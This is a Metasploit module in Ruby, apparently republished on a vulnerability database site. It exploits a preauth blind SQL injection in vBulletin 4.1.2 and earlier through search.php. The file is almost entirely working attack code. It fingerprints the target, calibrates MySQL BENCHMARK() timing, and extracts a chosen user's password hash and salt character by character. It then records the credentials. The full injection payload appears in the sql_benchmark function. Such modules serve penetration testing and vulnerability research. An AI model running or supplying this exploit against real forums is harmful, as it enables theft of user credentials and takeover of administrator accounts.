`# Requirements
require 'msf/core'
# Class declaration
class Metasploit3 < Msf::Auxiliary
# Includes
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
# Initialize module
def initialize(info = {})
# Initialize information
super(update_info(info,
'Name' => 'vBulletin 4 <= 4.1.2 search.php SQL Injection',
'Description' => %q{
vBulletin versions 4 <= 4.1.2 are vulnerable to a preauth SQL Injection issue
that may be used by an attacker to extract user credentials, and potentially
gain administrative access, potentially leading to remote PHP code execution.
NOTES:
------------------------------------------------
* Do not set the BMCT option too high!
* Do not set the BMCT option too low either ...
* A delay of about three to five seconds is ideal
* Increase BMRC if you have issues with reliability
},
'Author' =>
[
# Exploit Only
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '47281' ],
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'April 11, 2011',
'DefaultTarget' => 0 ))
register_options(
[
# Required
OptString.new('VDIR', [true, 'vBulletin directory', '/']),
# The number of function iterations to run during the benchmark
OptInt.new('BMCT', [true, 'Benchmark Counter' , 500000 ]),
# This is the benchmark delay threshold (in seconds)
OptInt.new('BMDF', [true, 'Benchmark Difference' , 3 ]),
# The number of benchmark tests to make during each data request.
# This number may be increased for accuracy if you have problems.
OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
# Optional
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),
OptInt.new( 'RLIM', [false, 'Random string limit' , 8 ]),
# Database table prefix
OptString.new('PREF', [false, 'Database table prefix', nil ]),
# Target user id
OptInt.new('TUID', [true, 'User ID to target', 1 ]),
], self.class)
end
#################################################
# Extract "Set-Cookie"
def init_cookie(data, cstr = true)
# Raw request? Or cookie data specifically?
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
# Beginning
if ( data )
# Break them apart
data = data.split(', ')
# Initialize
ctmp = ''
tmps = {}
# Parse cookies
data.each do | x |
# Remove extra data
x = x.split(';')[0]
# Seperate cookie pairs
if ( x =~ /([^;\s]+)=([^;\s]+)/im )
# Key
k = $1
# Val
v = $2
# Valid cookie value?
if ( v.length() > 0 )
# Build cookie hash
tmps[k] = v
# Report cookie status
print_status("Got Cookie: #{k} => #{v}");
end
end
end
# Build string data
if ( cstr == true )
# Loop
tmps.each do |x,y|
# Cookie key/value
ctmp << "#{x}=#{y};"
end
# Assign
tmps['cstr'] = ctmp
end
# Return
return tmps
else
# Something may be wrong
init_debug("No cookies within the given response")
end
end
#################################################
# Simple debugging output
def init_debug(resp, exit = 0)
# is DBUG set? Check it
if ( datastore['DBUG'] )
# Print debugging data
print_status("######### DEBUG! ########")
pp resp
print_status("#########################")
end
# Continue execution
if ( exit.to_i > 0 )
# Exit
exit(0)
end
end
#################################################
# Generic post wrapper
def http_post(url, data, headers = {}, timeout = 15)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "application/x-www-form-urlencoded"
# Determine Content-Length
headers['Content-Length'] = data.length
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value
if ( !hval )
# Delete header key
headers.delete(hkey)
end
end
# Send request
resp = send_request_raw(
{
'uri' => datastore['VDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout )
# Returned
return resp
end
#################################################
# Generic post multipart wrapper
def http_post_multipart(url, data, headers = {}, timeout = 15)
# Boundary string
bndr = Rex::Text.rand_text_alphanumeric(8)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value
if ( !hval )
# Delete header key
headers.delete(hkey)
end
end
# Init
temp = ''
# Parse form values
data.each do |name, value|
# Hash means file data
if ( value.is_a?(Hash) )
# Validate form fields
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
encoding = value['encoding'] ? value['encoding']: "Binary"
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
temp << "Content-Type: #{mimetype}\r\n"
temp << "Content-Transfer-Encoding: #{encoding}\r\n"
temp << "\r\n"
temp << "#{contents}\r\n"
else
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
temp << "\r\n"
temp << "#{value}\r\n"
end
end
# Complete the form data
temp << "--#{bndr}--\r\n"
# Assigned
data = temp
# Determine Content-Length
headers['Content-Length'] = data.length
# Send request
resp = send_request_raw(
{
'uri' => datastore['VDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout)
# Returned
return resp
end
#################################################
# Generic get wrapper
def http_get(url, headers = {}, timeout = 15)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value // Also, remove post specific data, due to a bug ...
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
# Delete header key
headers.delete(hkey)
end
end
# Send request
resp = send_request_raw({
'uri' => datastore['VDIR'] + url,
'headers' => headers,
'method' => 'GET',
}, timeout)
# Returned
return resp
end
#################################################
# Used to perform benchmark querys
def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )
# Init
wait = 0
# Defaults
table = table ? table: 'user'
# SQL Injection string used to trigger the MySQL BECNHMARK() function
sqli = Rex::Text.uri_encode("-99) UNION SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} -- /*")
# Post data used for the test
post = "contenttypeid=7&do=process&humanverify=1&cat[]=#{sqli}"
# Number of tests to run. We run this
# amount of tests and then look for a
# median value that is greater than
# the benchmark difference.
tnum = tnum ? tnum: datastore['BMRC']
# Run the tests
tnum.to_i.times do | i |
# Start time
bmc1 = Time.now.to_i
# Make the request
init_debug(http_post("search.php", post))
# End time
bmc2 = Time.now.to_i
# Total time
wait += bmc2 - bmc1
end
# Return the results
return ( wait.to_i / tnum.to_i )
end
#################################################
def get_users_data(snum, slim, cset, sqlf, sqlw)
# Start time
tot1 = Time.now.to_i
# Initialize
reqc = 0
retn = String.new
# Extract salt
for i in snum..slim
# Offset position
oset = ( i - snum ) + 1
# Loop charset
for cbit in cset
# Test character
cbit.each do | cchr |
# Start time (overall)
bmc1 = Time.now.to_i
# Benchmark query with escaped wildcard chars
bmcv = ( cchr.ord() == 37 || cchr.ord() == 95 ) ?
sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CONCAT(CHAR(92),CHAR(#{cchr.ord}))", "user", sqlw, datastore['BMRC']):
sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "user", sqlw, datastore['BMRC'])
# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
# Verbose
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
# Append chr
retn << cchr
# Exit loop
break
end
# Counter
reqc += 1
end # each
end # for
# Host not vulnerable?
if ( oset != retn.length )
# Failure
print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")
return nil
end
end # for
# End time (total)
tot2 = Time.now.to_i
# Benchmark totals
tot3 = tot2 - tot1
# Verbose
print_status("Found data: #{retn}")
print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")
# Return
return retn
end
#################################################
def run
# Numeric test string
tstr = Time.now.to_i.to_s
# MD5 test string
tmd5 = Rex::Text.md5(tstr)
#################################################
# STEP 01 // Attempt to extract vBulletin version
#################################################
# Verbose
print_status("Attempting to determine vBulletin version")
# Banner grab request
resp = http_get("index.php")
# Extract vBulletin version information
if ( resp.body =~ /name="generator" content="vBulletin ([^"]+)"/ )
# Version
vers = $1.strip
# Version "parts"
ver1, ver2, ver3 = vers.split(/\./)
# vBulletin 4.0 - 4.1.2
if ( ver1.to_i != 4 || ver2.to_i > 1 || ( ver2.to_i > 0 && ver3.to_i > 2 ) )
# Exploit failed
print_error("Only vBulletin versions 4.1.2 and earlier are vulnerable")
init_debug(resp)
return
else
# Verbose
print_status("Target is running vBulletin version: #{vers}")
end
else
# Verbose
print_error("Unable to determine vBulletin version ...")
init_debug(resp)
end
#################################################
# STEP 02 // Check to make sure that the search
# feature is actually enabled before proceeding
#################################################
# Request the search page
resp = http_get("search.php?do=process")
# Is the search form present?
if ( resp.body !~ /id="searchform"/ )
# Verbose
print_error("The search feature seems to be disabled. Exploit failed!")
init_debug(resp)
return
end
#################################################
# STEP 03 // Make sure we have valid table prefix
#################################################
# Got database prefix?
if ( !datastore['PREF'] )
# Post data
post = "contenttypeid=7&do=process&humanverify=1&cat[]=)"
# Request the search page
resp = http_post("search.php?do=process", post)
# Attempt to extract the database table prefix
if ( resp.body =~ /DISTINCT socialgroupcategory.title from ([^\s]+)socialgroupcategory AS/ )
# Prefix
datastore['PREF'] = $1.strip
# Got prefix
print_good("Successfully extracted database prefix: #{datastore['PREF']}")
else
# Prefix
datastore['PREF'] = String.new()
# Verbose
print_status("Unable to determine table prefix. Using default values")
init_debug(resp)
end
end
#################################################
# STEP 04 // Calculate BENCHMARK() response times
#################################################
# Verbose
print_status("Calculating target response times")
print_status("Benchmarking #{datastore['BMRC']} normal requests")
# Normal request median (globally accessible)
datastore['BMC0'] = sql_benchmark("1=2")
# Verbose
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
print_status("Benchmarking #{datastore['BMRC']} delayed requests")
# Delayed request median
bmc1 = sql_benchmark("1=1")
# Verbose
print_status("Delayed request avg: #{bmc1.to_s} seconds")
# Benchmark totals
bmct = bmc1 - datastore['BMC0']
# Delay too small. The host may not be
# vulnerable. Try increasing the BMCT.
if ( bmct.to_i < datastore['BMDF'].to_i )
# Verbose
print_error("Either your benchmark threshold is too small, or host is not vulnerable")
print_error("To increase the benchmark threshold adjust the value of the BMDF option")
print_error("To increase the expression iterator adjust the value of the BMCT option")
return
else
# Host appears exploitable
print_status("Request Difference: #{bmct.to_s} seconds")
end
#################################################
# These are the charsets used for the enumeration
# operations and can be easily expanded if needed
#################################################
# Hash charset a-f0-9
hdic = [ ('a'..'f'), ('0'..'9') ]
# Salt charset ! - ~
sdic = [ ('!' .. '~') ]
#################################################
# STEP 05 // Attempt to extract user pass hash
#################################################
# Verbose
print_status("Attempting to gather user password hash")
# Get pass hash
if ( !( hash = get_users_data(
1, # Length Start
32, # Length Maximum
hdic, # Charset Array
"password", # SQL Field name
"userid=#{datastore['TUID'].to_s}" # SQL Where data
) ) )
# Failure
print_error("Unable to gather user pass hash. Exploit failed!!")
return
end
#################################################
# STEP 06 // Determine the length of user salt
#################################################
# The current limit for user salt length is hard
# coded to 30 chars via the database structure
for i in 1.upto(30)
# Benchmark
bmcv = sql_benchmark("LENGTH(salt)=#{i.to_s}", "user", "userid=#{datastore['TUID'].to_s}", datastore['BMRC'])
# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
# Length
slen = i
# Verbose
print_status("Target is using a #{slen.to_s} character salt")
break
else
# Out of time ..
if ( i == 30 )
# Failure
print_error("Unable to determine salt length. Exploit failed!")
return
end
end
end
#################################################
# STEP 07 // Attempt to extract user pass salt
#################################################
# Verbose
print_status("Attempting to gather user password salt")
# Get pass salt
if ( !( salt = get_users_data(
1, # Length Start
slen, # Length Maximum
sdic, # Charset Array
"salt", # SQL Field name
"userid=#{datastore['TUID'].to_s}" # SQL Where data
) ) )
# Failure
print_error("Unable to gather user pass salt. Exploit failed!!")
return
end
#################################################
# STEP 08 // Attempt to gather target username
#################################################
# Verbose
print_status("Attempting to gather target username")
# Request profile data
resp = http_get("member.php?#{datastore['TUID'].to_s}")
# Extract username
if ( resp.body =~ /<span class="member_username">([^<]+)/ )
# Username
user = $1.strip()
# Verbose
print_good("Got username: #{user}")
else
# Unavailable
user = "N/A"
# Verbose
print_error("Unable to gather target username!")
end
# Verbose
print_status("USER: #{user} (ID: #{datastore['TUID'].to_s})")
print_status("HASH: #{hash}")
print_status("SALT: #{salt}")
print_status("Inserting credentials into the note database ...")
# Note data
ndat = {
# vBulletin directory
"VDIR" => datastore['VDIR'],
# Target User ID
"TUID" => datastore['TUID'],
# User name
"USER" => user,
# User hash
"HASH" => hash,
# User salt
"SALT" => salt,
# Version
"VERS" => vers,
}
# Save results
report_note(
:host => datastore['RHOST'],
:proto => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS',
:port => datastore['RPORT'],
:type => "vBulletin Credentials",
:data => ndat
)
end
end`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation